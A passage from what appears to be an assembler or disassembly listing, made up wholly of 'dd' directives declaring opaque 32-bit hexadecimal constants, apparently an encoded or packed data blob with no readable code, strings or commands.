1B04D398h, 0B603273Ah, 2BE495CDh, 0FB7494C9h, 15AE6A02h dd 64F571CFh, 0A5F5D22Dh, 0E46B2AF3h, 2024D7D7h, 8FAEC2E1h dd 25A99D90h, 3343E8EDh, 7CB4300h, 20A2EDF8h, 0AB423F69h dd 0F24966BFh, 93EF77F4h, 980B642h, 18551884h, 35A88DF4h dd 4A110111h, 0CAB9247Fh, 1F435DDCh, 7B136FD6h, 0C69AF7F9h dd 1E8152DFh, 606AA73Fh, 6BD72FACh, 6D4AD4D3h, 0F0FFCECBh dd 0B5B18BA8h, 0EAFF453Bh, 300DFA3Bh, 0AF76E9C3h, 0A0E6C4A7h dd 2821ED8Ch, 2D90ECE3h, 4C25D82Dh, 0B17E96D3h, 6897E7EDh dd 77E82097h, 0F42A031Dh, 3FCAF29Ah, 76D00971h, 436C88F8h dd 0E9BAB881h, 42E95F69h, 1661DF71h, 2823FBA5h, 8558F9EAh dd 34BDDFEDh, 28B26FCFh, 0B45BDE62h, 0BEAAA7EFh, 4D46D1C7h dd 0FBE9DD0Ch, 0A88FF54Fh, 0EDCDAC25h, 156E7217h, 74EF26A4h dd 0E6B4DC62h, 0DDF130EBh, 5C910275h, 8C0D0036h, 0F8590F4h dd 0CB9E72C4h, 2319B4BCh, 0D6799048h, 0E18FC9ECh, 0F482h dd 0F07C5279h, 6490A980h, 74A7930Ch, 0C69672E1h, 0CAC7E398h dd 0CB168CFBh, 6B20508Bh, 0A6A564D8h, 7D9C0A91h, 58447673h dd 728D8678h, 0DDBDB647h, 0D8638C32h, 0C7A19EBh, 65E914EAh dd 0EB3DF463h, 0B987BDD0h, 9C74A0Fh, 0D69E7C06h, 0F1892015h dd 649473D8h, 7382D3B5h, 92451E50h, 8D75C819h, 6C478A94h dd 3424F4CFh, 9A64B683h, 0E7FD7AC4h, 0E56D1F5Eh, 43AAC480h dd 12042F83h, 4F4558Ah, 301D40EFh, 306E1098h, 2EF4260Eh dd 75DF8844h, 353D8F3Dh, 14D78A04h, 42DC0500h, 0A4E7645Dh dd 0ADD2592Ch, 72C992BFh, 73AAFB95h, 0D150FB91h, 0CB428AA7h dd 3BCE89D0h, 6E9A04EBh, 0D35BA5BFh, 0DD47C6DBh, 8CAC536Eh dd 14DCA4FDh, 26807A97h, 6096CB65h, 9AF8A748h, 85E9B712h dd 728345B2h, 2DC87637h, 9F84DB35h, 0F916C14h, 0F1768F39h dd 5F17A4A6h, 0A7320F73h, 6E1D668Ah, 85B10EF1h, 4FFD1BAAh dd 69816F8Ch, 0FC85930Ch, 31E160DFh, 0BBBE799Fh, 34630791h dd 0AB3C908Dh, 2B9B12F7h, 18425579h, 7D90CD3Ah, 0D9F55006h dd 0C25857C2h, 806D0764h, 147201C4h, 1792C06Bh, 0B53FDCADh dd 1D47C6CBh, 76C19CFFh, 0BC75191Eh, 0E18830FBh, 901F3C09h dd 747E2145h, 0E8314A8Fh, 72835F12h, 54413784h, 37F8C15Fh dd 0BCBAAF38h, 66F558C4h, 2320CE42h, 0B7827B74h, 117726FCh dd 7543C109h, 4E01E62Ch, 9611597Ch, 75E5D640h, 84554B19h dd 3EDE70E6h, 0CD52F78Dh, 8679C389h, 72494D77h, 0D9510599h dd 0BD999E5Eh, 0DAA23E76h, 7DAEBA2Fh, 6F3E6D5Dh, 7F220894h dd 716A9B01h, 0A77AAF29h, 80913E84h, 235F6F6Ah, 0BE06E31Eh dd 210D30DAh, 0E346A1ABh, 12DAA4A0h, 95394ECDh, 6577C711h dd 5B3B0B5Ch, 670A3637h, 65EE56EBh, 0F2833CB0h, 5081D31Dh dd 6F77C373h, 11A3880Fh dd 4996F56h, 2FCD0EC5h, 4E5AE287h, 75C7D687h, 94831D4Ah dd 29B2833Eh, 26F20F0Ch, 9F651E73h, 5EFD0D8Bh, 0E74B71A9h dd 4E1C603Bh, 21A26FE1h, 0A2AE2F13h, 0D53F0367h, 1120ECC1h dd 0BE5DFB19h, 8BBE2CDEh, 76B81E52h, 82EEC3B9h, 1A750907h dd 0F1AC6442h, 57E67D6h, 186D5AFAh, 0AB33BBC4h, 53C6554Dh dd 2D9D42EBh, 0A45C6BC0h, 65A329E6h, 2192F26Eh, 0F6B42FA2h dd 0A3A9BFDBh, 4EA6688h, 8DC211A0h, 9D1655A2h, 7A90FF3Eh dd 0B5C83ED1h, 4D53B4E6h, 0B785F2DAh, 8662F8CCh, 219C0500h dd 3182EBFFh, 37E8451Dh, 0C02B72A9h, 0E329FAF5h, 101DB61Ah dd 0F9F9008Eh, 0BC720425h, 5ADF8FE6h, 6E42695Eh, 564CA211h dd 0AB2F6CDCh, 0B3CF7F98h, 3B012F23h, 2069FC1Bh, 9B909998h dd 28334A6Dh, 7D0136FEh, 2FDCFBBFh, 0B72E2526h, 5C7C1162h dd 0A8048546h, 0A01B7689h, 20F42C8Ch, 0BEB19B7Eh, 0DDD23782h dd 59A854C1h, 6523EC87h, 33482D86h, 0C91CC009h, 0B79106E0h dd 4283FB79h, 2A645310h, 6C5D12B5h, 393695ECh, 2FE65279h dd 24917AD7h, 516BA1Dh, 4F58F89Ah, 0C07A04D7h, 937252F6h dd 9241D36Ah, 18331654h, 18F9581Bh, 1C4AC7DAh, 0D017BE9h dd 1F1BF7C7h, 0BC2E281Ch, 6DBAB310h, 62BEB6Dh, 0ABD09908h dd 42017707h, 65842C9Bh, 0C47387FAh, 2181F1C7h, 0DEF3DB72h dd 0C9B2F83Ah, 8F053719h, 51699329h, 69EBE93Bh, 0F6A2C2F2h dd 0BD0E4F62h, 4F06E917h, 30EE0706h, 47878666h, 36FDEA7Ch dd 0D7025569h, 0C79825FFh, 0ACCCFAF5h, 38E730EAh, 3158438Eh dd 9F7D7B27h, 0CE99BB0Eh, 0A2D875D7h, 9DC2B016h, 0C409B5E7h dd 4CAFF094h, 0EC77DF36h, 60960B7Ch, 9DD12C76h, 7D9EE7A3h dd 0EB8C3448h, 0C2C74359h, 0AF843679h, 0EE8FB914h, 0C467556Fh dd 0A0E72989h, 0F5AB9CBDh, 126F8058h, 0E26385Ch, 0F05C4FC5h dd 61B9E42Fh, 73806188h, 0C87FBB3Ch, 30614E1Ah, 50558E62h dd 4053FB81h, 0C304DE7Dh, 3CCD532Ah, 447F8E8Fh, 6FAAFE8Eh dd 85DB591Fh, 0B64B0767h, 0C44987B7h, 0FC250392h, 0E0BE2CD7h dd 9D4669D5h, 7A609098h, 8335F92Fh, 0E189955Ch, 9613529Eh dd 73C1B361h, 6DBAB000h, 4BF5DB07h, 0DA0439F2h, 8EC70237h dd 658450F1h, 29B1CC34h, 70E6231Bh, 96F81105h, 0EDE654FCh dd 7AA5A175h, 260F156Ah, 6C38E20Ch, 65C22F5Fh, 95DFABC0h dd 0E99464E2h, 3652DF01h, 4001D810h, 0E90AA882h, 245FAD2Ch dd 0C6999B42h, 1AF213F5h, 81DB3F12h, 6C400769h, 0DA31B3DEh dd 111A0BC3h, 67EBA728h, 1C9569DFh, 0A30F947Ah, 45C97FB0h dd 877E837h, 609635A2h, 9DD12E4Eh, 0EDBA965Eh, 73393428h dd 0A2870BBBh, 0E408D3F3h, 0ECE24023h, 0E7FC7378h, 0E56E6B42h dd 670CCF80h, 6687837Eh, 4A50F4Ch, 616AD56Ah, 69E56B3Bh dd 778211E1h, 0F624B19h, 5918F19h, 364FEEC4h, 0FDC70500h dd 71AB8B05h, 5960BE95h, 0A01BD971h, 93CCF97Ch, 7B3E3B51h dd 0C3580526h, 5D140292h, 0D9FC00A5h, 4BBE2A97h, 0E10255B6h dd 8E85F68Fh, 94F4062Ah, 1DCD9FBCh, 0E9F0EC65h, 1EF45969h dd 0F13EBCF0h, 827CBD7Eh, 0AB38F96Bh, 0A68E2107h, 300DA5B8h dd 0E9C078C3h, 54AAAE4Ch, 0ABF45436h, 0C4303A03h, 79865AC8h dd 0F38773FAh, 0F20E680h, 0FCA6060Eh, 8DB9441Ah, 672280E6h dd 0E57A8E06h, 48298CFAh, 30895A06h, 85EE18E0h, 0C9999AEAh dd 0D8832B7Ch, 23B47A99h, 0B46B8C85h, 6514C6D8h, 4D136236h dd 0EE0123D6h, 0EF0D92Ch, 0A0C7199Bh, 0ABDF7F2Fh, 0E7C397BDh dd 0DA72791Dh, 9B92A530h, 0AC9362C1h, 5E98F8E5h, 4C913714h dd 0EE61F0F9h, 260D383Bh, 0E1C0663Fh, 0ED58D448h, 0CD0CAF70h dd 8BE7C08Ah, 0EB3D7482h, 250A1020h, 37BD90B0h, 28235FDCh dd 5888DBDAh, 0A4391F8Ah, 0A6239794h, 28FC9590h, 0B707645Ch dd 69915D85h, 4211C771h, 0C623F680h, 1C1CE9Bh, 0B87B8E9Ch dd 4B7DF658h, 17428D36h, 77FBA504h, 16BF935Bh, 0A8586CCAh dd 80D71A5Ch, 0BD0376E2h, 0B81F38B2h, 0F08D45A7h, 0B7339780h dd 679465Fh, 0A3CC3600h, 0D1082131h, 0EC805F2Fh, 2291EAFDh dd 21E7DF4Eh, 0ABE450F0h, 98E19383h, 0E1B982Ch, 66670CC9h dd 0A839665Ch, 6145D37Dh, 0C91D438Ch, 36E9020Ah, 26FD0800h dd 4763E781h, 240A12F6h, 43036282h, 88998ADEh, 2DFFAF5h dd 14DBE79Bh, 78FE6C7Ah, 6B3DE58h, 0BB8E8FE3h, 0FBBF2BDCh dd 0D945925Dh, 9886981Fh, 0F3341EC4h, 0E14FDF4Fh, 6096357Eh dd 706D6BBBh, 624C3A4Bh, 6DFF741Bh, 0A4E21B35h, 62075130h dd 6587DCEBh, 2FB4B665h, 0A0E4D3F1h, 8C4EE18Ch, 0EDEDE303h dd 0D140275Ah, 0BB26DF0Dh, 79C26770h, 0AE84CDF4h, 0A383AB9Ah dd 0ED28ABDAh, 0B346FDC5h, 0BB049014h, 7854FD08h, 0BB43516Bh dd 587B72E5h, 0DC6D050Ah, 4A583F1Ch, 0B3C1CFE6h, 759A57F6h dd 765FB3Dh, 0DB9A685Bh, 18AF8588h, 70F96F51h, 8503FE70h dd 3842C92Ch, 0E9CFC515h, 58C9FFCCh, 6D9DC7DDh, 0A93027EDh dd 8083C85Ch, 56C4F8BCh, 109EE3B9h, 22BAE639h, 0A391D777h dd 22028FCDh, 7D2AA8D3h, 0C158065Ah, 2D4B9F0Dh, 0E046E939h dd 91CDB040h, 7C78CB19h, 0BDC38F1Bh, 0B93D0145h, 395A0AE0h dd 8624EB48h, 0B81A20A9h, 0B9DE376h, 1ECCEB80h, 0BD583D6Ch dd 6DBD616Ch, 0B6F60BD7h, 0A59A04E2h, 6A354AFCh, 1CCEB0A7h dd 328DF6B8h, 2039091h, 0E003473Ah, 62D7B20Ah, 9B937856h dd 86382168h, 0F4FFF2BEh, 7DB37372h, 0D008AD1Bh, 0A5861CAAh dd 0A6215634h, 0A9E5318Fh, 0EA67FA5Ch, 0AC62CC05h, 82E4B00Dh dd 673F029Eh, 0B9096082h, 72CA5FE1h, 0C5D1FC16h, 86B64F1Bh dd 33A9C615h, 3D4AD509h, 0DA04EF48h, 88893348h, 3B1FE376h dd 6F414687h, 9F59881Ah, 189089Eh, 0B90C5D6h, 0F7FCD4E9h dd 4A0923D9h, 92BF07A9h, 3202C0F9h, 9383F691h, 0E3C9AB9Bh dd 64D78FE1h, 2C9D45E5h, 8F7A4531h, 0EBAC95D1h, 0C2C3231Dh dd 101A6E1h, 1C043F28h, 1E02433Dh, 0A68A4C28h, 0D2E5F283h dd 2E6EDC05h, 0EFCA56h, 0A64D1396h, 4EDD6278h, 76CAD687h dd 3B026EE6h, 30BD9F1Ah, 3E6B0704h, 0A8DC0500h, 1302ED09h dd 0FE825569h, 4A999AF5h, 13AAFAF5h, 0CC583F15h, 6C3E0767h dd 1C7204D5h, 6E9A049Eh, 6BBE2CC4h, 0DD47D6B3h, 7306915Eh dd 438AF952h, 0E18822BCh, 60963960h, 9B92BAC8h, 6DBB4178h dd 8D7C98CEh, 0A4C76AB4h, 6707DF70h, 658778EBh, 0A271253Bh dd 0A0E8434Eh, 0ABED8C8Ch, 0EDD32303h, 8D28F109h, 0A65AD329h dd 69516F78h, 7729D687h, 0C6544B19h, 33318F1Ah, 3F630704h dd 0AACC0500h, 1F22ED09h, 81425569h, 5A199AF5h, 0F0AAFAF5h dd 82583F14h, 0E83E0767h, 147204DAh, 9E9A049Fh, 4BBE2CC2h dd 1D47D6BFh, 0F3069165h, 438AF942h, 0E188229Bh, 60963922h dd 9B92BB4Ch, 6DBB4F70h, 8D7C84FEh, 0A4C712D4h, 6707EEB0h dd 6586A76Bh, 0B271BAB3h, 0B0E89A2Eh, 0BBEAD901h, 0FDDD6E8Eh dd 0E85ABE6Dh, 0CF629907h, 3FCA8616h, 0D61BAE6h, 0E6F12570h dd 40DBE66Dh, 2010646Bh, 0DE9E6C6Ch, 35BB9F68h, 89087B47h dd 1FF8EE86h, 0B6C49381h, 3177334h, 341E4B26h, 1354A93h dd 0C9D44BCCh, 0D9D658E0h, 7323B7DEh, 730CBF43h, 31EB8D42h dd 86E64A0Eh, 2DD97DC4h, 0F3E6988Dh, 9DA29FAh, 8752A8C0h dd 0F08658F4h, 5D57ABA0h, 17E9D0CBh, 0C603D84Ch, 0D4C8DF2Bh dd 8ECB06E3h, 0BEDC096Ah dd 0DE7D7246h, 0D4092309h, 7396550Ch, 1467DCEEh, 0B2EF2578h dd 5C60ED3Ah, 689F2760h, 0C3897173h, 7A8D9E29h, 0B4B63002h dd 1C759AFFh, 0A8CF8E86h, 8764D71h, 693E0D49h, 0D61770B4h dd 0EEF665F3h, 0F9D943B3h, 0FC03BBE4h, 0A006F005h, 34FE9F46h dd 0BDED5108h, 12F5578Bh, 0FDFDCBEBh, 4EC1174h, 0FA13E570h dd 0D1844967h, 9629742h, 17E3E31Fh, 0CC1ED248h, 0D090FA12h dd 0CE995BE0h, 82BF1371h, 0EE537F67h, 0C8097A5Dh, 39DB8C58h dd 5902B3F4h, 0A7AE4B13h, 572DEE6Eh, 60E3647Ch, 8DF9626Eh dd 69EF826Ah, 0F0F63005h, 6ED9AFFh, 0A1D99494h, 4D2A4D71h dd 581E6009h, 921370BBh, 0AE902AB3h, 85D043A2h, 0B833B5E0h dd 1C72B115h, 79F9DC08h, 0E1824A4Dh, 0EF851BBh, 0F2E6DBFDh dd 199B2377h, 0FE59A161h, 84AE300Eh, 0B6E8416h, 45A7D08Eh dd 8259901Eh, 89819666h, 0C4882C86h, 8EB90D6Dh, 0EA58187Dh dd 8608A709h, 738D1C5Dh, 465DCEEh, 0B5A72876h, 5B24F93Ah dd 24D82724h, 0AD865873h, 77CC826Ah, 0FD36360Ch, 639F49Ah dd 0A7CF9090h, 1A3C5A60h, 574C614Fh, 912924B7h, 0D4B359EEh dd 0A5D14FC1h, 6924B3EBh, 0D368FE19h, 2EE58B4Eh, 92AD7877h dd 33963487h, 0F2E4CAF9h, 8EF2873h, 0E528F54Dh, 0C0A67026h dd 2857C48Ah, 658CF425h, 0D403DA68h, 0F48DD427h, 0FF9F57E9h dd 8CB9016Bh, 0EF166B6Dh, 0F647F748h, 5CF3A137h, 5018587h dd 0A3AD226Fh, 4676EA4Eh, 64E96F50h, 8D866161h, 5F0CA459h dd 0F1515563h, 14F0EC87h, 0B6CFAE90h, 4A306B60h, 0E5A6602h dd 0A21D67FAh, 0BAF961F3h, 2BB448A4h, 2B35B3D7h, 2763F219h dd 17FE8A42h, 80ED513Eh, 14E51EB8h, 0FEE6CAF1h, 39BB474Ch dd 0E228F85Ch, 0CAA97A37h, 4F738795h, 3A688C2h, 0C71DD85Ah dd 8EC6852Ah, 0D9BF5C86h, 0AEB3177Ah, 0E859DF66h, 8F4F274Ah dd 3DDB4F42h, 7D4DF8A9h, 0BFB21F19h, 5D5AE04Eh, 62F6696Ah dd 97852D74h, 77008C29h, 0FAAB211Bh, 5937B492h, 0C8FEFAFFh dd 7D376B6Dh, 55506908h, 0ED5A70B9h, 0F4B42AB3h, 7FDF5BC1h dd 0F223BEE7h, 9726AB17h, 6DEF9748h, 0CBA2235Fh, 1E11EF4h dd 0FFFADBE0h, 4D812A4Fh, 0F915E029h, 84A07AFDh, 176A8C53h dd 0F2D407h, 0A85F9D15h, 8AC2854Eh, 0DF8A23ACh, 82B83B60h dd 0FA17AB6Eh, 0CF137A48h, 789B8816h, 4962DCA9h, 0A5B62A6Eh dd 5572EB72h, 64D8273Eh, 0CD357372h, 7071CD6Ch, 0F0EE2006h dd 56FCF8D5h, 0CFD99F87h, 592C4D75h, 0A25F2703h, 0B90024BFh dd 9AE96AF4h, 0ED240A0h, 0DD4DF7E0h, 1072F007h, 24E59D4Eh dd 84FB036Eh, 3FF48A2h, 0FEE098CDh, 1FDA394Bh, 0A318E43Ah dd 0C5B014BEh, 36F8004h, 45BCD784h, 0D602D049h, 809CD12Fh dd 0C7822DEAh, 0E7F1C766h, 0F9568609h, 0C900BB4Ah, 2495551Fh dd 40FBFE2h, 0AAA82A6Dh, 1276E173h, 77D16277h, 80296669h dd 1828C327h, 0F436341Eh, 1176FE9Dh, 0DDD8DACFh, 40374B67h dd 0E859690Eh, 0BD1561A9h, 67E870EEh, 419002E0h, 6926A184h dd 9C62F914h, 30AAC341h, 95FA4227h, 6AB85AB7h, 0F2E5E7ACh dd 32897E5Eh, 0FE12F621h, 0C9B04BA7h, 1007BDEFh, 0CF2D619h dd 0D651D055h, 0EBA08721h, 0CAC411CFh, 9FB0C776h, 0E617BF7Ch dd 884AEA4Ch, 5B2E556h, 14B0E8h, 9AA33978h, 4076E657h dd 67D4746Bh, 0C72B5974h, 6FAD8967h, 0E241091Ah, 17FCE887h dd 0CBCFAC81h, 5E375667h, 0AA4B553Bh, 850073DBh, 69F46DE9h dd 8BD158EEh, 100B9DCCh, 773F058h, 2DFF8B4Ah, 98ED4872h dd 6AB810FAh, 0F79292A0h, 6DDF2C27h, 0D93ACE3Dh, 0E19555A3h dd 46EAFACh, 0AF5D199h, 0F52DDD5Dh, 0CF8D3527h, 0E5CB0FFBh dd 989CDF57h, 0E352437Bh, 0D401055Dh, 38DD060Bh, 190681DBh dd 0B5AF247Dh, 6729A31Ah, 68C16277h, 0AE186C6Eh, 4CA4A25Ah dd 0D290143Eh, 1A70D7A9h, 0D1D99587h, 61044B72h, 0AF5A690Eh dd 0AA5277ACh, 4BD958C9h, 0E5DB5EBCh, 0EF2280F0h, 9D69F804h dd 2DE3AE79h, 8EEF4C3Dh, 14C53EB8h, 0EEE6CAC5h, 2C91D30h dd 0E01DF2F9h, 0DD941B67h, 0A629543h, 17F3FE37h, 0D61FCE49h dd 0D487300Dh, 0F8871BFEh, 0AE83E766h, 0FF437F66h, 0F2387F46h dd 3FDE9D1Dh, 5702B7E9h, 0B0A82E4Ah, 6571FD7Fh, 73177460h dd 0CA6B7564h, 7FE7BF09h, 0F3E3303Bh, 58A3B3DDh, 98C49B96h dd 512A1F60h, 0B71E6306h, 0D9527DBEh, 7C9A0EEEh, 8EEC4BABh dd 0F46FB2E5h, 1674B14Dh, 66AA9D45h, 98EA0339h, 40E55BDCh dd 0F6FDCADEh, 4DC86878h, 0A40FA5A6h, 0C1951B3Eh, 662B317h dd 5FAF948Fh, 0C701C21Bh, 808D3620h, 0ABE11FA9h, 0AE99DB78h dd 0C973353Dh, 9326FE1Dh, 679E2A49h, 5A2E92B6h, 0FE9D7320h dd 0B15CA37h, 45763242h, 97393C38h, 5CA2903Ah, 0E421260Ch dd 116DEA9Ch, 0F8AA949Ah, 66284C7Dh, 0B9707E06h, 0B87261B6h dd 32FB67F2h, 0BFCD559Dh, 5247BBE1h, 9063FB14h, 2EEBB750h dd 93CD233Ah, 23E451D8h, 0E9E6D6D3h, 3EBB213Fh, 0F90EE1CAh dd 0D4BE4F54h, 0A4EE0D5h, 35E3DC0Ah, 0A219DB5Ah, 0F4BA0E1Dh dd 0E8B729C9h, 88AD8176h, 0E2742567h, 0C917E747h, 22D5BC14h dd 50985DBh, 0A3BD226Fh, 6225D369h, 682D6876h, 8E4F6064h dd 90368867h, 0B6692706h, 0EFAFF86h, 0C4DE9387h, 7C285034h dd 0A750680Eh, 7E1D62FBh, 3DE377BDh, 0BD349BAh, 342AB2E6h dd 775F818h, 2CFE9851h, 0C1A6502Ch, 9FE6A8Ch, 0FEE198C3h dd 0ED23B1Ah, 0EC1FA0CBh, 0CBA93B1Ah, 265C084h, 0AF2C9CBh dd 0C614D14Bh, 0C59A4B60h, 0C882EAFEh, 88ADE366h, 0F943D86Eh dd 0C200214Ch, 38C76F72h, 7A6BA5F4h, 0E6F06B39h, 1219AF3Ah dd 21732724h, 8E0C2520h, 0C742CD29h, 96CF7549h, 5B70BFF8h dd 0DDC99F86h, 2E2B5B7Ah, 0A458620Bh, 0C5224FBh, 7EB40C95h dd 31C85E9Dh, 0F426A1A7h, 9468F802h, 63E3DC03h, 8EEB462Eh dd 4EE55AC0h, 9B98969Ah, 2ECD3F33h, 0D911EDB1h, 0C5A268FCh dd 327C554h, 6FE3D704h, 0F423F03Bh, 0C89A6F74h, 0C29FE0F9h dd 89FFB46Dh, 0AD5EE666h, 0AC295F6Dh, 0E3BC78h, 273FF6BDh dd 8293195Eh, 1701AF5Fh, 1613977h, 948A5753h, 0AB52A429h dd 9CD60620h, 2CCBC9F5h, 0EAE8DACFh, 5F583551h, 0CC045135h dd 3C39479Ah, 0BF061EFh, 0FDB58ADh, 0AE179FA7h, 1A67F756h dd 49EE9C4Eh, 0B7DA705Ch, 23D71E9Ah, 0FEE09903h, 19D82E12h dd 0C45CE8ABh, 0A4CD71E4h, 5D565D23h, 0BE3ABCBh, 0C51C0C5Fh dd 0CA8CB16Eh, 0CE9CEFE9h, 0BD900367h, 0EC5AD17Ah, 0C217BF40h dd 768B6F72h, 4D1F84D4h, 0AB713839h, 55DFE67Eh, 68067524h dd 0C5B86665h, 0B36BCD6Dh, 0CA425F1Ah, 0AA23CCA7h, 0B0E1B9B7h dd 0A6365E7Ch, 0B5F6F13h, 731C6DB0h, 0F7FB62BAh, 41DA49A0h dd 4B158583h, 0B047B147h, 22E2D959h, 89FB4755h, 9FD5C03h dd 9B98D1A2h, 57ED1B23h, 0E31DE0DEh, 0C5AF79B0h, 6E77DBh dd 0CE7614Bh, 8C164257h, 0F2BD4744h, 0D9C9BEDAh, 0CDE4436Ah dd 8D32B82Ch, 9C2CC17Ah, 38EF8758h, 16C0A5E3h, 0A2382272h dd 371BA134h, 55295404h, 0CD9F253Ah, 8CA78367h, 0C66C3C1Dh dd 0F4F8FCD5h, 5FCE9F9Ah, 0D20B3F1Eh, 871E3D36h, 491C6AB7h dd 0E0F370F8h, 859002ADh, 0F14D685h, 2826AB53h, 66B08A24h dd 0E1827E73h, 10B64649h, 0BBE6C52Fh, 30D273D3h, 0E8188AE4h dd 0D2AA2084h, 961269Ch, 0AE538DCh, 0D713F956h, 0D281533Ah dd 0CF8346E5h, 0CD8A4A23h dd 0AD53142Ah, 0FB0D7672h, 23F46F72h, 19EEB8E9h, 0B6AD6B7Eh dd 4EACA73Ah, 2ADD292Dh, 81EC0F0Dh, 0C7E2CF29h, 0CCA6251Ch dd 8739FF81h, 15D997F6h, 2584767h, 0CC50700Fh, 0C11665B7h dd 0D1EE24FCh, 0AE820CF1h, 9D4DE8FAh, 8075E264h, 7DAADF9h dd 0C1CD6948h, 5ADA1153h, 0E8B7B324h, 9BB6D3Eh, 0E1122271h dd 0C1A3AC7Bh, 425BB554h, 48A94818h, 874CC516h, 0A0D8323Dh dd 0CA695BE8h, 89AB7C6Fh, 0EB3A756Ch, 0C3D27A48h, 0D27D51Ch dd 50DBA5A2h, 0E3B46634h, 3380FC3Fh, 7BE46304h, 0F2F3696Eh dd 0AAEC846Dh, 1EA70E49h, 9B4BAA8h, 148FDAC8h, 258351Ah dd 0D25B770Dh, 950121F4h, 0A4B42ABEh, 0EBDC5A3Bh, 0B833BF20h dd 763FCBBh, 2DEF8B37h, 0C9E44D5Dh, 45B67D31h, 0D2928D71h dd 1FDE0376h, 0C2085060h, 8CA9E844h, 42212F59h, 8881E82h dd 0D5019948h, 0C1B95F20h, 0A46449E8h, 0D7F96323h, 0C3332655h dd 0F5A89C6Dh, 24FE1C24h, 42E8B3F3h, 0AFFB172Bh, 40AFFC69h dd 3683627Ch, 0EAFB5A00h, 0F290DE67h, 5F2C2236h, 0C96AC586h dd 3BAAA5A8h, 49365661h, 0CF61586Eh, 0EB0177AEh, 81F760FBh dd 8AF02D74h, 5017FC1Dh, 9674B2D8h, 30EF8F89h, 0C4AB1883h dd 40BB6573h, 0EFE0EC6Ch, 48E05F2Ah, 8D767857h, 8993EC1Ah dd 475119E0h, 45EFE40Dh, 0D71E9A49h, 80A0442Bh, 847B01AFh dd 86CD532Eh, 0E8385103h, 0D176F64Ah, 77A38111h, 5F5097C9h dd 0E0DE0649h, 7E1F87Ch, 6DEA6276h, 0DBC87665h, 922BC82Ah dd 0CC087B47h, 94EDFF87h, 8AC19998h, 36784B69h, 0E413531Ch dd 0AA52548Bh, 0BCBA60F3h, 4ECB5C76h, 7E67A52Bh, 5D28FB8Dh dd 308AF099h, 88EC5713h, 2EB62C72h, 0CBBFCB51h, 0B9B5765h dd 0FF5C7159h, 0C1B33C11h, 4421E083h, 4BA57BCEh, 0D068FB15h dd 0C5AE5E21h, 0D4677CFEh, 0C8F16339h, 8D51EC7Ah, 8A6B1267h dd 77542228h, 7F2B3F5h, 1FF4387Ch, 1F0AA39h, 69E32729h dd 90C56962h, 0B632A429h, 9FE70E49h, 691990A9h, 0A87AEB6h dd 0C786F54h, 0D54B763Bh, 0E75270B7h, 0D3BA6DA5h, 1D5423Bh dd 0FE22A328h, 9A70FA2Dh, 0DAA9A19h, 0B1A56EB4h, 12B61953h dd 0FEE7EA71h, 4E9B7B53h, 0A3526C7Bh, 0D7C666BAh, 872A755h dd 15E5FA08h, 0E327D34Fh, 0ED88021Ah, 0C17874DCh, 9EF72672h dd 0AB88B17Dh, 89713D40h, 3236EF72h, 1D6BB2E9h, 7FCC6B7Eh dd 6ECDA24Eh, 85D92754h, 9F397072h, 0B921CD7Dh, 0A2AC7B00h dd 3FD9AFEh, 0B7DF9B91h, 1D3F1F6Ch, 2D49622Bh, 87523EB3h dd 0E4C77799h, 3BEB6403h, 0B9678156h, 1C65E001h, 3AF89840h dd 90ED4954h, 14E52A65h, 0F2B7B408h, 6D43702h, 0B17FFF60h dd 0D0A863D7h, 326E7C02h, 65B45CB9h, 0C719DA07h, 0C3B7553Ch dd 980672E9h, 9BF7C670h, 0B0DE9260h, 0C90EA629h, 3CE61C42h dd 0E0BBE2h, 53F43E34h, 5FFEA26Ah, 81D03D63h, 87257371h dd 2D75D76Ch, 0EC121C20h, 0C377F49Bh, 37C38E93h, 72690576h dd 266E5211h, 0BD162498h, 68F567CBh, 6BC75F6Dh, 6836B47Ah dd 0D372E06Ah, 79E3D9D5h, 85E956D3h, 49A56532h, 91BCBD02h dd 0ED47330h, 0E216911Fh, 98E616BAh, 6D3C2195h, 35D8D66Bh dd 0C64BA755h, 0CFBF5427h, 0DD7021FAh, 9CE8C123h, 0FAF8B47Ch dd 0CEB9B009h, 35A0CF42h, 4E28F6E3h, 12A86530h, 7ADC8F10h dd 0C8EB6954h, 0BF0F6C67h, 0EA79B66h, 2A707517h, 9AFCEF85h dd 0FC89DA84h, 12780572h, 6C1E6338h, 0C25C2DFFh, 629A0E9Ah dd 0DFDF4E1Fh, 5D29BE71h, 1D56C666h, 2AEEDCE5h, 97E75601h dd 40EF2171h, 0EEE40A52h, 4DCF542Dh, 0B716F04Dh, 0C0A7AED4h dd 4E32BAD0h, 6FA330C5h, 0CA079A3Bh, 0D3A3B62Bh, 0CA4E09A1h dd 9F1AAE73h, 0EBE80B6Eh, 0C4D5255Bh, 1555551Dh, 3FDF9FC9h dd 5EF62576h, 46C0FB79h, 0EC823D6Ah, 0BA3C504Ah, 2586CD59h dd 19AD361Dh, 960E891h, 2BDB9F82h, 562C4C7Eh, 60572279h dd 875229E1h, 55F961D8h, 0A5D94311h, 9D4DFEC6h, 9665F9BDh dd 2DE3891Ch, 0B4C11696h, 40C63F46h, 0F8E60240h, 1FDE592Fh dd 0E80DE4E7h, 0D7A3E665h, 4221F144h, 4BA2B302h, 0C716EB31h dd 0C3AFAC3Ah, 0D04A1BE7h, 0BD28DA23h, 0EACB4167h, 0C8BF6040h dd 2D318A0Eh, 0C6BA4A7h, 4EE92E6Ch, 4288AC3Ah, 0FA65292Ah dd 9F314803h, 1FD0AC4Ch, 2FA87526h, 38CDCEBCh, 0EE84CBDFh dd 1B103517h, 7C047328h, 0D24B3780h, 0AF319Eh, 0C58B1852h dd 0E777E5CAh, 4336A5DEh, 17D9F539h, 91FD174Ah, 12AC2686h dd 0FFE10657h, 0ED25D3Dh, 0C075C1EBh, 84FCED55h, 3718252h dd 0CE8E69Bh, 0D4090E48h, 0ADE3A12Bh, 9E602186h, 0E774D023h dd 0FDF37B04h, 0CE89BD4Ch, 1C830816h, 2D2386D2h, 4A752F39h dd 4FD7E079h, 80637E76h, 0A5797466h, 782997Ah, 306C3C4Bh dd 0F01990DAh, 0F8C49393h, 0C0761134h, 31567454h, 0F47825C7h dd 70A33798h, 0E58B185Eh, 3372E5F2h, 0F336A9CCh, 13DEAB5Ch dd 85EC761Fh, 40E63627h, 0EEE4024Eh, 4DCF4435h, 0B70C91E5h dd 9E9BDA71h, 36C7390h, 40AC210Eh, 8C48C152h, 0F48ED744h dd 0E51634D8h, 8C289767h, 0EB897179h, 0D498E658h, 70DBCF0Ch dd 14A9ECF4h, 4BBE7144h, 7CC0EC7Fh, 0CE3F6272h, 0EA552023h dd 2B48C327h, 7E560126h, 0CFFDDBD4h, 7DDA9BBCh, 3D295A68h dd 6E4A7431h, 